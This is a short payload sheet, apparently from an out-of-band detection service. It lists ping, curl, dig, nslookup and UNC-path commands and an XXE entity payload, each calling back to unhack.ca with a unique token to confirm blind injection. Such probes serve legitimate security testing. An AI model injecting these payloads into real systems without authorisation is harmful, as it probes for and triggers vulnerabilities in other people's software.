$ ping -c1 -p 00f1ff31cb58800b41cc4db864d44f00 unhack.ca
 

$ curl http://unhack.ca/p/f1ff31cb58800b41cc4db864d44f
 

$ dig f1ff31cb58800b41cc4db864d44f @unhack.ca
 

$ dig f1ff31cb58800b41cc4db864d44f.ns.unhack.ca
 

C:\> nslookup f1ff31cb58800b41cc4db864d44f unhack.ca
 

C:\> type \\unhack.ca\f1ff31cb58800b41cc4db864d44f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1ff31cb58800b41cc4db864d44f">]>
    <foo>&xxe;</foo>